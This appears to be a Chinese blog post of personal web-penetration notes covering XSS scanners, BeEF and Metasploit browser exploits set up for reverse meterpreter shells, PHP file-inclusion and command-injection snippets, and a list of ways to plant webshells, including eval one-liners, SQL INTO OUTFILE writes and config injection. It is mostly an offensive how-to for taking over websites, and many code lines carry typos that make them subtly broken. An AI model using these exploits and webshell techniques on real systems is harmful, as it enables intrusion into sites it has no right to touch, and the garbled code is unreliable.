标签:常见 格式 模板类 系统命令 是什么 网上 导致 查看 uri
xss跨站漏洞纯手打笔记(基础)
XSS漏洞扫描
常用工具:
wvs
椰树
safe3
Xelenium
w3af
vega
xss扫描插件+burp
Beef:
beef+msf拿客户端shell(ie6 xp)
use windows/browser/ms10_002_aurora
set PAYLOAD windows/meterpreter/reverse_tvp PAYLOAD =>wondows/meterpreter/reverse_tcp
set SRVHOST (my ip)
set SRVPORT 7777
set URIPTH /
set LHOST(MY IP)
set LPORT 4444(端口)
cxploit
beef+msf拿客户端shell(ie7.8.9)
use exploit windows/browser/ie_execcommand_uaf
show options
set SRVHOST (my ip)
set SRVPORT 8888(端口)
set URIPATH /
cxploit
留后门:
写入管理员登录页面
永久劫持管理员cookie
xss平台搭建:
使用工具:
wamp2.2+xss.me源码
文件包含漏洞:利用条件
1.include()等函数通过变量的方式引入需要包含的文件
2.用户能控制该动态变量
文件包含漏洞是代码注入的一种,原理就是注入一段用户能控
制的脚本或代码,并让服务器端执行,代码注入的典型代表就
是文件包含file inclusion。文件包含可能会出现在jsp php
asp等语言中,常见的导致文件包含的函数如下:
php:
include(),include_once(),require(),require_once
(),fopen(),readfile().....
当使用者4个函数包含一个新文件时,该文件将作为php代码执行,php内核并不在意该被包含的文件是什么类型,
<?ph$test=$_GET["x"];inxlude($test);?>保存为include.php
在同一个目录下创建为test.tst内容为<?php phpinfo()?>
访问链接,将xx.txt传送给c并赋予test变量
远程文件包含:
如果php的配置选项allow_url_include为on,则
include/require函数是可以加载远程文件的,这种漏洞被称
为远程漏洞(RFI)
代码:
<?php$test=$_GET["c"];include($test);?> 保存为
include.php
JSP/Servlet:ava.io.file(),java.io.filereader()....
ASP:include file,include virtual....
本地文件包含漏洞利用技巧:
1.包含用户上传的文件
用户上传的文件内容中如果包含了php代码,那么这些代码被
include()加载后将会被执行
2.包含日志文件,比如Web Server的access Log.
同过构造与句让服务器报错并将一句话虽报错信息写入日志,
找到日志文件,用菜刀链接,拿下网站。
3.包含data://或者php://input等伪协议
4.包含了Session文件
实验:ekucms2.5》制作错误,写入一句话木马》
($_POST[x])}
命令注入漏洞:
php命令执行函数:
在php中可以使用下列5个函数来执行外部的应用程序或函数
1.system:执行一个外部的应用程序并显示输出的结果
system函数:
原型:string system(string command,int &return_var)
其中,command
是要执行命令, return_var存放执行命令的执行后的状态值
同样,构造php代码如下:
<?php $cmd = $_GET["cmd"]echo"<pre>";system
($cmd);echo"</pre>";?>
在浏览器中访问这个php文件,并提交cmd的内容为"net
start" 黑客目的是通过命令注入攻击查看web服务器主机都开
启了那些服务
2.exec:执行一个外部的的应用程序
函数原型如下:
string exec (string command,array &output,int
&return_var)其中,command是执行的命令,output是获得执行
命令输出的每一行字符串,returm——var存放执行命令后的
状态值
构造php代码如下:
<?php $x=$_GET["x"];echo shell_exec($x);?>
3.passthru:执行一个UNIX系统命令并显示原始的输出
Passthru函数以用来执行一个UNIX系统命令并显示原始的输出
,当unix系统命令的输出是二进制的数据,并且需要直接返回
值给浏览器时,需要使用passthru函数来代替system与exec函
数。
passthru函数原型如下:
void passthru (string command,nit &returm_var)
其中,command是要执行的命令,returm_var存放执行命令后
的状态值
构造php代码如下:
<? $cmd = $_GET["cmd"]echo"<pre>";system
($cmd);echo"</pre>";?>
4.shell_exec:执行shell命令并返回输出的结果的字符串
函数原型如下:
string shell_exec(string command)
其中,command是要执行的命令
代码如下:
<? $cmd = $_GET["cmd"];echo "<pre>";sehll_exec
($cmd);echo "</pre>";?>
5. "‘‘"运算符:与shell_exec函数的功能相同
变量覆盖漏洞:
产生:变量如果没有初始化,而且能被用户控制,
在php中,若register_globals为on(启用)时非常严重
此为全局变量覆盖漏洞
代码:
<?php
$x="xxx";
$y="seven";
echon $x;
echon "<hr>";
echon $y;
echon "<hr>";
$y=$_GET["x"];
echon $y
?>
下载漏洞:
利用:通过蜘蛛爬行,找到该url,下载 conn.asp config.php config.asp db.ndb
(谷歌黑客:/down.asp?fileup=)
webshell:
爆破webshll密码:
burpsuite
webshell密码爆破器
拿webshell方法总结:
管理权限拿:
14种常见的:
1.正常上传:网站对上传文件后缀格式并为过滤,直接上传webshell就可以。(不限制上传类型,可随意上传伪装的木马)
2.数据库备份拿:网站对上传的文件后缀进行过滤,不允许上传脚本类型文件,如:asp php jsp aspx等。而网站具有数据库备份功能,这时我们就可以将webshell格式先改为允许上传的文件格式如:jpg gif等。然后,我们找到上传后的文件路径,通过数据库备份,将文件备份改为脚本格式。
3.本地js验证突破拿webshell:当网站设置了js来限制文件类型时,我们可以通过删除js验证或者修改上传类型突破上传拿webshell,使用burpsuite或者fiddle
等代理工具提交,本地文件先改为jpg,上传时拦截,在把文件扩展名改为asp或者php即可。
4.上传其他脚本类型拿webshell:这种类型用于一台服务器具有多个网站,a网站是asp的站,b可能是php的站,a中限制了上传文件类型为asp的文件,你可以尝试上传php的脚本来拿webshell。
5.(和编辑器配合)利用解析漏洞拿wbeshell:(常见的编辑器fckeditor,ewebeditor,cheditor)
IIS 5.x/6.0解析漏洞
IIS 7.0/IIS 7.5/ Nginx <8.03畸形漏洞
Nginx <8.03 空子节代码执行漏洞
Apache解析漏洞
6.网站配置插马拿webshell:通过找到网站默认配置,讲一句话查到网站配置中,不过为了能成功执行插马,建议先下载该网站源码,进行查看源码过滤规则,防止插马失败;
"%><%eval request("hydra")%><%"(闭合一句话)
7.通过编辑模板拿webshell:通过网站的模板进行编辑写入一句话,然后生存脚本文件拿webshell,或者通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿webshell。(有的网站可以修改添加脚本文件,直接拿swebshell)
8.数据库命令执行拿webshell:可以通过phpmyadmin登录数据库命令来写一句话拿webshell。
Hydra TABLE study (cmd text NOT NULL)
Insert INTO study (cmd) VALUES(‘<?php eval ($_POST[cmd])?>‘)
select cmd feom study into outfile‘D:/php/www.htdocs/test/seven.php‘
Drop TABLE IF EXISTS study
9.通过静态页面拿webshell:通过对网站的模板进行编辑写入一句话,然后生成脚本文件拿
也通过将木马添加到压缩文件,把名字改为网站模板类型上传到网站服务器拿
10.(上传特殊马拿webshell:一些网站安装了waf安全狗,360,我们可以通过上传一些免杀马,变形马来进行突破封杀。)文件包含拿webshell:先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可以绕过waf,
asp包含:<!--#indude file="xx.jpg"--> 调用的文件必须和被调用文件在同一目录,否则找不到,绕过在不同的目录下,用下面的语句:<!--#indude virtual="文件所在目录/xx.jpg">
php包含:
<?php
indude("xx.jpg");
?>
普通权限拿webshell:
1.0day拿webshell:这个不多说。可以去网上搜索一些,比如你找到你搞的网站cms是discz的,你可以搜索一些相关0day直接拿
2.修改网站上传类型配置拿webshell:有的网站,在网站上传类型中限制了上传脚本类型文件,我们可以通过添加文件上传类型,如天剑 asp php jpg aspx asa来拿webshell。(非常老的方法不过有的网站还是存在。如果运气好可以碰到)
3.IIS写权限拿webshell:比较少见,有专门的利用工具,原理是通过找到有iis写入权限的网站,put进去一个txt的文件,目录必须有刻写的权限,如image文件夹,然后通过move方法,把txt格式的木马move成脚本格式,如一开始上传的是xx.txt move成xx.asp。
4.通过远程命令执行拿webshell:关于命令执行,php程序相对来说比较多见,可以通过执行一些系统命令进行拿webshell。
5.strusts2拿webshell:网上有工具可以直接拿。(这种漏洞凤毛菱角,几乎灭绝了)
6.通过用户头像上传拿webshell(Ps:需要抓包改包):用户注册后有些网站可以上传图片,附件,文件等,可以利用上传拿webshell。
7.通过注入漏洞拿webshell:要有足够的权限,对写入木马的文件夹有写入权限,知道网站绝对路径。
对于MySQL注入漏洞网站可以通过log备份,差异备份拿webshell。也可以通过into file 函数将一句话木马写入拿webshell,还可以利用phpmyadmin 将木马导出拿webshell。
其他漏洞笔记合集
标签:常见 格式 模板类 系统命令 是什么 网上 导致 查看 uri
原文地址:http://www.cnblogs.com/Hydraxx/p/6910564.html